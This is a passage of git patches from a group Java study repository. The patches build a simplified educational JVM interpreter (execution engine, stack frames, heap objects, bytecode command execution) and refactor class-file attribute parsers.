+        MethodArea ma = MethodArea.getInstance();
+        
+        Method m = null;
+        String currentClassName = jo.getClassName();
+        while (currentClassName != null) {
+            ClassFile cuClassFile = ma.findClassFile(currentClassName);
+            m = cuClassFile.getMethod(methodRefInfo.getMethodName(), methodRefInfo.getParamAndReturnType());
+            if (m != null) {
+                break;
+            } else {
+                currentClassName = cuClassFile.getSuperClassName();
+            }
+        }
+        
+        if (m == null) {
+            throw new RuntimeException("找不到对应的方法：" + methodRefInfo.toString());
+        }
+        result.setNextAction(ExecutionResult.PAUSE_AND_RUN_NEW_FRAME);
+        result.setNextMethod(m);
+    }
 
 	
 	
diff --git a/group01/765324639/src/main/java/minijvm/cmd/LdcCmd.java b/group01/765324639/src/main/java/minijvm/cmd/LdcCmd.java
index b6ca03f4ac..a864daa2f1 100644
--- a/group01/765324639/src/main/java/minijvm/cmd/LdcCmd.java
+++ b/group01/765324639/src/main/java/minijvm/cmd/LdcCmd.java
@@ -4,6 +4,10 @@
 import minijvm.constant.ConstantInfo;
 import minijvm.constant.ConstantPool;
 import minijvm.constant.StringInfo;
+import minijvm.engine.ExecutionResult;
+import minijvm.engine.Heap;
+import minijvm.engine.JavaObject;
+import minijvm.engine.StackFrame;
 
 public class LdcCmd extends OneOperandCmd {
 
@@ -12,9 +16,9 @@ public LdcCmd(ClassFile clzFile,String opCode) {
 	}
 	
 	@Override
-	public String toString(ConstantPool pool) {
+	public String toString() {
 		
-		ConstantInfo info = pool.getConstantInfo(this.getOperand());
+		ConstantInfo info = getConstantInfo(this.getOperand());
 		
 		String value = "TBD";
 		if(info instanceof StringInfo){
@@ -25,5 +29,20 @@ public String toString(ConstantPool pool) {
 		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
 		
 	}
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        ConstantPool pool = this.getConstantPool();
+        ConstantInfo info = pool.getConstantInfo(this.getOperand());
+        
+        if (info instanceof StringInfo) {
+            StringInfo strInfo = (StringInfo) info;
+            String value = strInfo.toString();
+            JavaObject jo = Heap.getInstance().newString(value);
+            frame.getOprandStack().push(jo);
+        } else {
+            throw new RuntimeException("暂时只支持字符串常量ldc");
+        }
+    }
 	
 }
diff --git a/group01/765324639/src/main/java/minijvm/cmd/NewObjectCmd.java b/group01/765324639/src/main/java/minijvm/cmd/NewObjectCmd.java
index aaff3aecef..03e6c7a02f 100644
--- a/group01/765324639/src/main/java/minijvm/cmd/NewObjectCmd.java
+++ b/group01/765324639/src/main/java/minijvm/cmd/NewObjectCmd.java
@@ -1,7 +1,11 @@
 package minijvm.cmd;
 
 import minijvm.clz.ClassFile;
-import minijvm.constant.ConstantPool;
+import minijvm.constant.ClassInfo;
+import minijvm.engine.ExecutionResult;
+import minijvm.engine.Heap;
+import minijvm.engine.JavaObject;
+import minijvm.engine.StackFrame;
 
 public class NewObjectCmd extends TwoOperandCmd{
 	
@@ -10,10 +14,20 @@ public NewObjectCmd(ClassFile clzFile, String opCode){
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
+	public String toString() {
 		
-		return super.getOperandAsClassInfo(pool);
+		return super.getOperandAsClassInfo();
 	}
 
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        int index = this.getIndex();
+        ClassInfo info = (ClassInfo) this.getConstantInfo(index);
+        String className = info.getClassName();
+        JavaObject jo = Heap.getInstance().newObject(className);
+        frame.getOprandStack().push(jo);
+        
+    }
+
 	
 }
diff --git a/group01/765324639/src/main/java/minijvm/cmd/NoOperandCmd.java b/group01/765324639/src/main/java/minijvm/cmd/NoOperandCmd.java
index e9a3493426..be8d9b0cfd 100644
--- a/group01/765324639/src/main/java/minijvm/cmd/NoOperandCmd.java
+++ b/group01/765324639/src/main/java/minijvm/cmd/NoOperandCmd.java
@@ -1,7 +1,10 @@
 package minijvm.cmd;
 
 import minijvm.clz.ClassFile;
-import minijvm.constant.ConstantPool;
+import minijvm.engine.ExecutionResult;
+import minijvm.engine.Heap;
+import minijvm.engine.JavaObject;
+import minijvm.engine.StackFrame;
 
 public class NoOperandCmd extends ByteCodeCommand{
 
@@ -10,7 +13,7 @@ public NoOperandCmd(ClassFile clzFile, String opCode) {
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
+	public String toString() {
 		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
 	}
 
@@ -21,4 +24,68 @@ public  int getLength(){
 		return 1;
 	}
 
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        String opCode = this.getOpCode();
+        if (ByteCodeCommand.aload_0.equalsIgnoreCase(opCode)) {
+            JavaObject jo = frame.getLocalVariableValue(0);
+            frame.getOprandStack().push(jo);
+        } else if (ByteCodeCommand.aload_1.equalsIgnoreCase(opCode)) {
+            JavaObject jo = frame.getLocalVariableValue(1);
+            frame.getOprandStack().push(jo);
+        } else if (ByteCodeCommand.aload_2.equalsIgnoreCase(opCode)) {
+            JavaObject jo = frame.getLocalVariableValue(2);
+            frame.getOprandStack().push(jo);
+        } else if (ByteCodeCommand.iload_1.equalsIgnoreCase(opCode)) {
+            JavaObject jo = frame.getLocalVariableValue(1);
+            frame.getOprandStack().push(jo);
+        } else if (ByteCodeCommand.iload_2.equalsIgnoreCase(opCode)) {
+            JavaObject jo = frame.getLocalVariableValue(2);
+            frame.getOprandStack().push(jo);
+        } else if (ByteCodeCommand.iload_3.equalsIgnoreCase(opCode)) {
+            JavaObject jo = frame.getLocalVariableValue(3);
+            frame.getOprandStack().push(jo);
+        } else if (ByteCodeCommand.fload_3.equalsIgnoreCase(opCode)) {
+            JavaObject jo = frame.getLocalVariableValue(3);
+            frame.getOprandStack().push(jo);
+        } else if (ByteCodeCommand.voidreturn.equalsIgnoreCase(opCode)) {
+            result.setNextAction(ExecutionResult.EXIT_CURRENT_FRAME);
+        } else if (ByteCodeCommand.ireturn.equalsIgnoreCase(opCode)) {
+            StackFrame callerFrame = frame.getCallerFrame();
+            JavaObject jo = frame.getOprandStack().pop();
+            callerFrame.getOprandStack().push(jo);
+        } else if (ByteCodeCommand.freturn.equalsIgnoreCase(opCode)) {
+            StackFrame callerFrame = frame.getCallerFrame();
+            JavaObject jo = frame.getOprandStack().pop();
+            callerFrame.getOprandStack().push(jo);
+        } else if (ByteCodeCommand.astore_1.equalsIgnoreCase(opCode)) {
+            JavaObject jo = frame.getOprandStack().pop();
+            frame.setLocalVariableValue(1, jo);
+        } else if (ByteCodeCommand.dup.equalsIgnoreCase(opCode)) {
+            JavaObject jo = frame.getOprandStack().peek();
+            frame.getOprandStack().push(jo);
+        } else if (ByteCodeCommand.iconst_0.equalsIgnoreCase(opCode)) {
+            JavaObject jo = Heap.getInstance().newInt(0);
+            frame.getOprandStack().push(jo);
+        } else if (ByteCodeCommand.iconst_1.equalsIgnoreCase(opCode)) {
+            JavaObject jo = Heap.getInstance().newInt(1);
+            frame.getOprandStack().push(jo);
+        } else if (ByteCodeCommand.istore_1.equalsIgnoreCase(opCode)) {
+            JavaObject jo = frame.getOprandStack().pop();
+            frame.setLocalVariableValue(1, jo);
+        } else if (ByteCodeCommand.istore_2.equalsIgnoreCase(opCode)) {
+            JavaObject jo = frame.getOprandStack().pop();
+            frame.setLocalVariableValue(2, jo);
+        } else if (ByteCodeCommand.iadd.equalsIgnoreCase(opCode)) {
+            JavaObject jo1 = frame.getOprandStack().pop();
+            JavaObject jo2 = frame.getOprandStack().pop();
+            JavaObject sum = Heap.getInstance().newInt(jo1.getIntValue() + jo2.getIntValue());
+            frame.getOprandStack().push(sum);
+        } else if (ByteCodeCommand.aconst_null.equalsIgnoreCase(opCode)) {
+            frame.getOprandStack().push(null);
+        } else {
+            throw new RuntimeException("未实现的指令：" + opCode);
+        }
+    }
+
 }
diff --git a/group01/765324639/src/main/java/minijvm/cmd/PutFieldCmd.java b/group01/765324639/src/main/java/minijvm/cmd/PutFieldCmd.java
index ae41b17fde..a28ed0015f 100644
--- a/group01/765324639/src/main/java/minijvm/cmd/PutFieldCmd.java
+++ b/group01/765324639/src/main/java/minijvm/cmd/PutFieldCmd.java
@@ -1,7 +1,12 @@
 package minijvm.cmd;
 
 import minijvm.clz.ClassFile;
-import minijvm.constant.ConstantPool;
+import minijvm.constant.ClassInfo;
+import minijvm.constant.FieldRefInfo;
+import minijvm.constant.NameAndTypeInfo;
+import minijvm.engine.ExecutionResult;
+import minijvm.engine.JavaObject;
+import minijvm.engine.StackFrame;
 
 public class PutFieldCmd extends TwoOperandCmd {
 
@@ -10,10 +15,23 @@ public PutFieldCmd(ClassFile clzFile,String opCode) {
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
+	public String toString() {
 		
-		return super.getOperandAsField(pool);
+		return super.getOperandAsField();
 	}
 
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        FieldRefInfo fieldRefInfo = (FieldRefInfo) this.getConstantInfo(this.getIndex());
+        ClassInfo classInfo = (ClassInfo) this.getConstantInfo(fieldRefInfo.getClassInfoIndex());
+        NameAndTypeInfo nameAndTypeInfo = (NameAndTypeInfo) this.getConstantInfo(fieldRefInfo.getNameAndTypeIndex());
+        String fieldName = nameAndTypeInfo.getName();
+        String fieldTye = nameAndTypeInfo.getTypeInfo();
+        
+        JavaObject fieldValue = frame.getOprandStack().pop();
+        JavaObject objectRef = frame.getOprandStack().pop();
+        objectRef.setFieldValue(fieldName, fieldValue);
+    }
+
 
 }
diff --git a/group01/765324639/src/main/java/minijvm/cmd/TwoOperandCmd.java b/group01/765324639/src/main/java/minijvm/cmd/TwoOperandCmd.java
index 262bedc338..c6f1cea081 100644
--- a/group01/765324639/src/main/java/minijvm/cmd/TwoOperandCmd.java
+++ b/group01/765324639/src/main/java/minijvm/cmd/TwoOperandCmd.java
@@ -3,7 +3,6 @@
 import minijvm.clz.ClassFile;
 import minijvm.constant.ClassInfo;
 import minijvm.constant.ConstantInfo;
-import minijvm.constant.ConstantPool;
 import minijvm.constant.FieldRefInfo;
 import minijvm.constant.MethodRefInfo;
 
@@ -39,14 +38,14 @@ public int getIndex(){
 		return index;
 	}
 	
-	protected String getOperandAsClassInfo(ConstantPool pool){
+	protected String getOperandAsClassInfo(){
 		int index = getIndex();
 		String codeTxt = getReadableCodeText();
-		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		ClassInfo info = (ClassInfo)getConstantInfo(index);
 		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
 	}
 	
-	protected String getOperandAsMethod(ConstantPool pool){
+	protected String getOperandAsMethod(){
 		int index = getIndex();
 		String codeTxt = getReadableCodeText();
 		ConstantInfo constInfo = this.getConstantInfo(index);
@@ -54,7 +53,7 @@ protected String getOperandAsMethod(ConstantPool pool){
 		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
 	}
 
-	protected String getOperandAsField(ConstantPool pool){
+	protected String getOperandAsField(){
 		int index = getIndex();
 		
 		String codeTxt = getReadableCodeText();
diff --git a/group01/765324639/src/main/java/minijvm/engine/ExecutionResult.java b/group01/765324639/src/main/java/minijvm/engine/ExecutionResult.java
new file mode 100644
index 0000000000..288455261e
--- /dev/null
+++ b/group01/765324639/src/main/java/minijvm/engine/ExecutionResult.java
@@ -0,0 +1,53 @@
+package minijvm.engine;
+
+import minijvm.method.Method;
+
+public class ExecutionResult {
+	public static final int RUN_NEXT_CMD = 1;
+	public static final int JUMP = 2;
+	public static final int EXIT_CURRENT_FRAME = 3;
+	public static final int PAUSE_AND_RUN_NEW_FRAME = 4;
+	
+	private int nextAction = RUN_NEXT_CMD; 
+	
+	private int nextCmdOffset = 0;
+	
+	private Method nextMethod;
+	
+	public Method getNextMethod() {
+		return nextMethod;
+	}
+	
+	public void setNextMethod(Method nextMethod) {
+		this.nextMethod = nextMethod;
+	}
+
+	public void setNextAction(int action){
+		this.nextAction = action;
+	}
+	
+	public boolean isPauseAndRunNewFrame(){
+		return this.nextAction == PAUSE_AND_RUN_NEW_FRAME;
+	}
+	
+	public boolean isExitCurrentFrame(){
+		return this.nextAction == EXIT_CURRENT_FRAME;
+	}
+	
+	public boolean isRunNextCmd(){
+		return this.nextAction == RUN_NEXT_CMD;
+	}
+	
+	public boolean isJump(){
+		return this.nextAction == JUMP;
+	}
+	
+	public int getNextCmdOffset() {
+		return nextCmdOffset;
+	}
+
+	public void setNextCmdOffset(int nextCmdOffset) {
+		this.nextCmdOffset = nextCmdOffset;
+	}
+
+}
diff --git a/group01/765324639/src/main/java/minijvm/engine/ExecutorEngine.java b/group01/765324639/src/main/java/minijvm/engine/ExecutorEngine.java
new file mode 100644
index 0000000000..4f15f3e775
--- /dev/null
+++ b/group01/765324639/src/main/java/minijvm/engine/ExecutorEngine.java
@@ -0,0 +1,61 @@
+package minijvm.engine;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.Stack;
+
+import minijvm.method.Method;
+
+public class ExecutorEngine {
+
+	private Stack<StackFrame> stack = new Stack<StackFrame>();
+	
+	public ExecutorEngine() {
+		
+	}
+	
+	public void execute(Method mainMethod){
+		StackFrame stackFrame = StackFrame.create(mainMethod);
+		stack.push(stackFrame);
+		
+		while (!stack.empty()) {
+		    StackFrame frame = stack.peek();
+		    ExecutionResult result = frame.execute();
+		    
+		    if (result.isPauseAndRunNewFrame()) {
+		        Method nextMethod = result.getNextMethod();
+		        StackFrame nextFrame = StackFrame.create(nextMethod);
+		        nextFrame.setCallerFrame(frame);
+		        // 当前栈帧将参数传递给下一个栈帧中的局部变量表
+		        setupFunctionCallParams(frame, nextFrame);
+		        
+		        stack.push(nextFrame);
+		    } else {
+		        stack.pop();
+		    }
+		}
+		
+	}
+	
+	
+	
+	private void setupFunctionCallParams(StackFrame currentFrame,StackFrame nextFrame) {
+	    // 主要用来获取下一个栈帧需要的参数个数
+		Method nextMethod = nextFrame.getMethod();
+		List<String> parameterList = nextMethod.getParameterList();
+		int paramNum = parameterList.size() + 1; // 给this参数增加空间
+		
+		List<JavaObject> values = new ArrayList<>();
+		
+		// 将当前栈帧中的操作数栈（参数）传递给下一个栈帧
+		for (int i = 0; i < paramNum; i++) {
+		    values.add(currentFrame.getOprandStack().pop());
+		}
+		// 因为弹出的参数顺序与栈帧中的相反，故逆置一下以让参数一一对应
+		Collections.reverse(values);
+		
+		nextFrame.setLocalVariableTable(values);
+	}
+	
+}
diff --git a/group01/765324639/src/main/java/minijvm/engine/Heap.java b/group01/765324639/src/main/java/minijvm/engine/Heap.java
new file mode 100644
index 0000000000..47c2c0e534
--- /dev/null
+++ b/group01/765324639/src/main/java/minijvm/engine/Heap.java
@@ -0,0 +1,39 @@
+package minijvm.engine;
+
+public class Heap {
+	
+	/**
+	 * 没有实现垃圾回收， 所以对于下面新创建的对象， 并没有记录到一个数据结构当中
+	 */
+	
+	private static Heap instance = new Heap();
+	private Heap() {		
+	}
+	public static Heap getInstance(){
+		return instance;
+	}
+	public JavaObject newObject(String clzName){
+		
+		JavaObject jo = new JavaObject(JavaObject.OBJECT);
+		jo.setClassName(clzName);
+		return jo;
+	}
+	
+	public JavaObject newString(String value){
+		JavaObject jo = new JavaObject(JavaObject.STRING);
+		jo.setStringValue(value);
+		return jo;
+	}
+	
+	public JavaObject newFloat(float value){
+		JavaObject jo = new JavaObject(JavaObject.FLOAT);
+		jo.setFloatValue(value);
+		return jo;
+	}
+	public JavaObject newInt(int value){
+		JavaObject jo = new JavaObject(JavaObject.INT);
+		jo.setIntValue(value);
+		return jo;
+	}
+
+}
diff --git a/group01/765324639/src/main/java/minijvm/engine/JavaObject.java b/group01/765324639/src/main/java/minijvm/engine/JavaObject.java
new file mode 100644
index 0000000000..118cb6bdb5
--- /dev/null
+++ b/group01/765324639/src/main/java/minijvm/engine/JavaObject.java
@@ -0,0 +1,72 @@
+package minijvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class JavaObject {
+	public static final int OBJECT = 1;
+	public static final int STRING = 2;
+	public static final int INT = 3;
+	public static final int FLOAT = 4;
+	
+	int type;
+	private String className;
+	
+	private Map<String, JavaObject> fieldValues = new HashMap<String,JavaObject>();
+	
+	private String stringValue;
+	
+	private int intValue;
+	
+	private float floatValue;
+	
+	public void setFieldValue(String fieldName, JavaObject fieldValue){
+		fieldValues.put(fieldName, fieldValue);
+	}
+	public JavaObject(int type){
+		this.type = type;
+	}
+	public void setClassName(String className){
+		this.className = className;
+	}
+	public void setStringValue(String value){
+		stringValue = value;
+	}
+	public String getStringValue(){
+		return this.stringValue;
+	}
+	public void setIntValue(int value) {
+		this.intValue = value;		
+	}
+	public int getIntValue(){
+		return this.intValue;
+	}
+	public int getType(){
+		return type;
+	}
+	public JavaObject getFieldValue(String fieldName){
+		return this.fieldValues.get(fieldName);
+	}
+	@Override
+    public String toString(){
+		switch(this.getType()){
+		case INT: 
+			return String.valueOf(this.intValue);
+		case STRING:
+			return this.stringValue;
+		case OBJECT:
+			return this.className +":"+ this.fieldValues;
+		case FLOAT :
+			return String.valueOf(this.floatValue);
+		default:
+			return null;
+		}
+	}
+	public String getClassName(){
+		return this.className;
+	}
+	public void setFloatValue(float value) {
+		this.floatValue = value;		
+	}
+
+}
diff --git a/group01/765324639/src/main/java/minijvm/engine/MethodArea.java b/group01/765324639/src/main/java/minijvm/engine/MethodArea.java
new file mode 100644
index 0000000000..e426c1ea1d
--- /dev/null
+++ b/group01/765324639/src/main/java/minijvm/engine/MethodArea.java
@@ -0,0 +1,77 @@
+package minijvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import minijvm.clz.ClassFile;
+import minijvm.constant.MethodRefInfo;
+import minijvm.loader.ClassFileLoader;
+import minijvm.method.Method;
+
+public class MethodArea {
+	
+	public static final MethodArea instance = new MethodArea();
+	
+	/**
+	 * 注意：我们做了极大的简化， ClassLoader 只有一个， 实际JVM中的ClassLoader,是一个双亲委托的模型
+	 */
+	
+	private ClassFileLoader clzLoader = null;
+	
+	Map<String,ClassFile> map = new HashMap<String,ClassFile>();
+	
+	private MethodArea(){		
+	}
+	
+	public static MethodArea getInstance(){
+		return instance;
+	}
+	
+	public void setClassFileLoader(ClassFileLoader clzLoader){
+		this.clzLoader = clzLoader;
+	}
+	
+	public Method getMainMethod(String className) throws ClassNotFoundException{
+		
+		ClassFile clzFile = this.findClassFile(className);
+		
+		return clzFile.getMainMethod();
+	}
+	
+	
+	public  ClassFile findClassFile(String className) {
+		
+		if(map.get(className) != null){
+			return map.get(className);
+		}
+		// 看来该class 文件还没有load过
+		ClassFile clzFile = null;
+        try {
+            clzFile = this.clzLoader.loadClass(className);
+        } catch (ClassNotFoundException e) {
+            throw new RuntimeException("没有找到对应类文件");
+        }
+		
+		map.put(className, clzFile);
+		
+		return clzFile;
+		
+	}
+	
+	
+	public Method getMethod(String className, String methodName, String paramAndReturnType){
+		
+		return null;
+	}
+	
+	
+	public Method getMethod(MethodRefInfo methodRef) {		
+		ClassFile clz = this.findClassFile(methodRef.getClassName());
+		Method m = clz.getMethod(methodRef.getMethodName(), methodRef.getParamAndReturnType());
+		if (m == null) {
+		    throw new RuntimeException("找不到方法：" + methodRef.getMethodName());
+		}
+		return m;
+			
+	}
+}
diff --git a/group01/765324639/src/main/java/minijvm/engine/MiniJVM.java b/group01/765324639/src/main/java/minijvm/engine/MiniJVM.java
new file mode 100644
index 0000000000..c204e1c1fa
--- /dev/null
+++ b/group01/765324639/src/main/java/minijvm/engine/MiniJVM.java
@@ -0,0 +1,28 @@
+package minijvm.engine;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+
+import minijvm.loader.ClassFileLoader;
+
+
+public class MiniJVM {
+	
+	public void run(String[]classPaths , String className) throws FileNotFoundException, IOException, ClassNotFoundException{
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		for(int i=0;i<classPaths.length ; i++){
+			loader.addClassPath(classPaths[i]);
+		}
+		
+		MethodArea methodArea= MethodArea.getInstance();
+		
+		methodArea.setClassFileLoader(loader);
+		
+		ExecutorEngine engine = new ExecutorEngine();
+		
+		className = className.replace(".", "/");
+		
+		engine.execute(methodArea.getMainMethod(className));
+	}
+	
+}
diff --git a/group01/765324639/src/main/java/minijvm/engine/StackFrame.java b/group01/765324639/src/main/java/minijvm/engine/StackFrame.java
new file mode 100644
index 0000000000..3783766049
--- /dev/null
+++ b/group01/765324639/src/main/java/minijvm/engine/StackFrame.java
@@ -0,0 +1,113 @@
+package minijvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import minijvm.cmd.ByteCodeCommand;
+import minijvm.method.Method;
+
+public class StackFrame {
+	// 局部变量表
+	private List<JavaObject> localVariableTable = new ArrayList<JavaObject>();
+	// 操作数栈
+	private Stack<JavaObject> oprandStack = new Stack<JavaObject>();
+	
+	int index = 0;
+	
+	private Method m = null;
+	
+	private StackFrame callerFrame = null;
+	
+	public StackFrame getCallerFrame() {
+		return callerFrame;
+	}
+
+	public void setCallerFrame(StackFrame callerFrame) {
+		this.callerFrame = callerFrame;
+	}
+	
+	public static  StackFrame create(Method m){
+		
+		StackFrame frame = new StackFrame( m );			
+		
+		return frame;
+	}
+
+	private StackFrame(Method m) {		
+		this.m = m;
+		
+	}
+	
+	public JavaObject getLocalVariableValue(int index){
+		return this.localVariableTable.get(index);
+	}
+	
+	public Stack<JavaObject> getOprandStack(){
+		return this.oprandStack;
+	}
+	
+	public int getNextCommandIndex(int offset){
+		
+		ByteCodeCommand [] cmds = m.getCodeAttr().getCmds();
+		for(int i=0;i<cmds.length; i++){
+			if(cmds[i].getOffset() == offset){
+				return i;
+			}
+		}
+		throw new RuntimeException("Can't find next command");
+	}
+	
+	public ExecutionResult execute(){
+	    ByteCodeCommand[] cmds = m.getCmds();
+	    while (index < cmds.length) {
+	        ExecutionResult result = new ExecutionResult();
+	        // 默认是执行下一条指令
+	        result.setNextAction(ExecutionResult.RUN_NEXT_CMD);
+	        System.out.println(cmds[index].toString());
+	        cmds[index].execute(this, result);
+	        
+	        if (result.isRunNextCmd()) {
+	            index++;
+	        } else if (result.isExitCurrentFrame()) {
+	            return result;
+	        } else if (result.isPauseAndRunNewFrame()) {
+	            index++;
+	            return result;
+	        } else if (result.isJump()) {
+	            int offset = result.getNextCmdOffset();
+	            this.index = getNextCommandIndex(offset);
+	        } else {
+	            index++;
+	        }
+	    }
+	    
+	    // 当前栈帧中的指令全部执行完毕，退出
+	    ExecutionResult result = new ExecutionResult();
+	    result.setNextAction(ExecutionResult.EXIT_CURRENT_FRAME);
+		return result;
+		
+	}
+
+	public void setLocalVariableTable(List<JavaObject> values){
+		this.localVariableTable = values;	
+	}
+	
+	public void setLocalVariableValue(int index, JavaObject jo){
+		//问题： 为什么要这么做？？---如果局部变量表的size小于index，则必须填充之间的值，否则会出错
+		if(this.localVariableTable.size()-1 < index){
+			for(int i=this.localVariableTable.size(); i<=index; i++){
+				this.localVariableTable.add(null);
+			}
+		}
+		this.localVariableTable.set(index, jo);
+		
+		
+	}
+	
+	public Method getMethod(){
+		return m;
+	}
+	
+
+}
diff --git a/group01/765324639/src/main/java/minijvm/method/Method.java b/group01/765324639/src/main/java/minijvm/method/Method.java
index 248c3e79f1..114f154afd 100644
--- a/group01/765324639/src/main/java/minijvm/method/Method.java
+++ b/group01/765324639/src/main/java/minijvm/method/Method.java
@@ -1,5 +1,10 @@
 package minijvm.method;
 
+import java.util.ArrayList;
+import java.util.List;
+
+import org.apache.commons.lang3.StringUtils;
+
 import minijvm.attr.CodeAttr;
 import minijvm.clz.ClassFile;
 import minijvm.cmd.ByteCodeCommand;
@@ -75,4 +80,46 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
     public ByteCodeCommand[] getCmds() {        
         return this.getCodeAttr().getCmds();
     }
+    
+    private String getParamAndReturnType() {
+        UTF8Info nameAndTypeInfo = (UTF8Info)this.getClzFile().getConstantPool().getConstantInfo(this.getDescriptorIndex());
+        return nameAndTypeInfo.getValue();
+    }
+
+    public List<String> getParameterList() {
+        String paramAndType = getParamAndReturnType();
+        
+        // 获取参数和返回类型中的参数部分
+        int first = paramAndType.indexOf("(");
+        int last = paramAndType.lastIndexOf(")");
+        String param = paramAndType.substring(first + 1, last);
+        
+        List<String> paramList = new ArrayList<>();
+        if (StringUtils.isEmpty(param)) {
+            return paramList;
+        }
+        
+        while (!"".equals(param)) {
+            int pos = 0;
+            // 对象类型（以'L'开头，以';'结尾）
+            if (param.charAt(pos) == 'L') {
+                int end = param.indexOf(";");
+                if (end == -1) {
+                    throw new RuntimeException("对象类型没有以;结尾");
+                }
+                paramList.add(param.substring(pos + 1, end));
+                pos = end + 1;
+            } else if (param.charAt(pos) == 'I') { // int类型
+                paramList.add("I");
+                pos++;
+            } else if (param.charAt(pos) == 'F') { // float类型
+                paramList.add("F");
+                pos++;
+            } else {
+                throw new RuntimeException("这个参数类型还没有实现" + param.charAt(pos));
+            }
+            param = param.substring(pos);
+        }
+        return paramList;
+    }
 }
diff --git a/group01/765324639/src/test/java/minijvm/loader/MiniJVMTest.java b/group01/765324639/src/test/java/minijvm/loader/MiniJVMTest.java
new file mode 100644
index 0000000000..2811c90a53
--- /dev/null
+++ b/group01/765324639/src/test/java/minijvm/loader/MiniJVMTest.java
@@ -0,0 +1,30 @@
+package minijvm.loader;
+
+import java.io.File;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import minijvm.engine.MiniJVM;
+
+public class MiniJVMTest {
+	
+	static final String PATH = new File(".", "target\\test-classes").getAbsolutePath();
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testMain() throws Exception{
+		String[] classPaths = {PATH};
+		MiniJVM jvm = new MiniJVM();
+		jvm.run(classPaths, "minijvm.loader.EmployeeV1");
+		
+	}
+
+}

From 7e0cab0221991b754acdeffa5c40cd9d977ebe1b Mon Sep 17 00:00:00 2001
From: thomas_young <yk_ecust_2007@163.com>
Date: Sun, 30 Apr 2017 19:14:17 +0800
Subject: [PATCH 145/262] =?UTF-8?q?=E8=A1=A5=E4=BD=9C=E4=B8=9A1?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coderising/jvm/attr/CodeAttr.java         |  9 +++--
 .../coderising/jvm/attr/LineNumberTable.java  | 19 +++++++++-
 .../jvm/attr/LocalVariableTable.java          | 38 +++++++++----------
 .../coderising/jvm/field/Field.java           |  8 ++--
 .../jvm/loader/ClassFileParser.java           |  9 +----
 .../coderising/jvm/method/Method.java         | 31 ++++++++-------
 .../jvm/test/ClassFileloaderTest.java         |  2 +-
 7 files changed, 67 insertions(+), 49 deletions(-)

diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/CodeAttr.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/CodeAttr.java
index e6b7da9bb6..6c92bd0cf2 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/CodeAttr.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/CodeAttr.java
@@ -39,7 +39,7 @@ public void setLocalVariableTable(LocalVariableTable t) {
 		this.localVarTable = t;		
 	}
 	
-public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+	public static CodeAttr parse_V2(ClassFile clzFile, ByteCodeIterator iter){
 		
 		int attrNameIndex = iter.nextU2toInt();
 		int attrLen = iter.nextU4toInt();
@@ -51,7 +51,7 @@ public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 		
 		System.out.println(code);
 		
-		//ByteCodeCommand[] cmds = ByteCodeCommand.parse(clzFile,code);
+		// ByteCodeCommand[] cmds = ByteCodeCommand.parse(clzFile,code);
 		
 		CodeAttr codeAttr = new CodeAttr(attrNameIndex,attrLen, maxStack,maxLocals,codeLen,code);
 		
@@ -95,7 +95,10 @@ else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)){
 		
 		return codeAttr;
 	}
-	
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+
+		return null;
+	}
 
 	public String toString(ConstantPool pool){
 		StringBuilder buffer = new StringBuilder();
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LineNumberTable.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LineNumberTable.java
index 5461518d3d..75891b7acc 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LineNumberTable.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LineNumberTable.java
@@ -33,7 +33,7 @@ public LineNumberTable(int attrNameIndex, int attrLen) {
 		
 	}
 	
-	public static LineNumberTable parse(ByteCodeIterator iter){
+	public static LineNumberTable parse_V2(ByteCodeIterator iter){
 		
 		int index = iter.nextU2toInt();
 		int len = iter.nextU4toInt();
@@ -50,6 +50,23 @@ public static LineNumberTable parse(ByteCodeIterator iter){
 		}
 		return table;
 	}
+
+	public static LineNumberTable parse(ByteCodeIterator iter){
+        int nameIndex = iter.nextU2toInt();
+        int attrLen = iter.nextU4toInt();
+        int tableLen = iter.nextU2toInt();
+        LineNumberTable table = new LineNumberTable(nameIndex, attrLen);
+
+        for (int i=0; i<tableLen; i++) {
+            int startPc = iter.nextU2toInt();
+            int lineNum = iter.nextU2toInt();
+            LineNumberItem lineNumberItem = new LineNumberItem();
+            lineNumberItem.setStartPC(startPc);
+            lineNumberItem.setLineNum(lineNum);
+            table.addLineNumberItem(lineNumberItem);
+        }
+        return table;
+	}
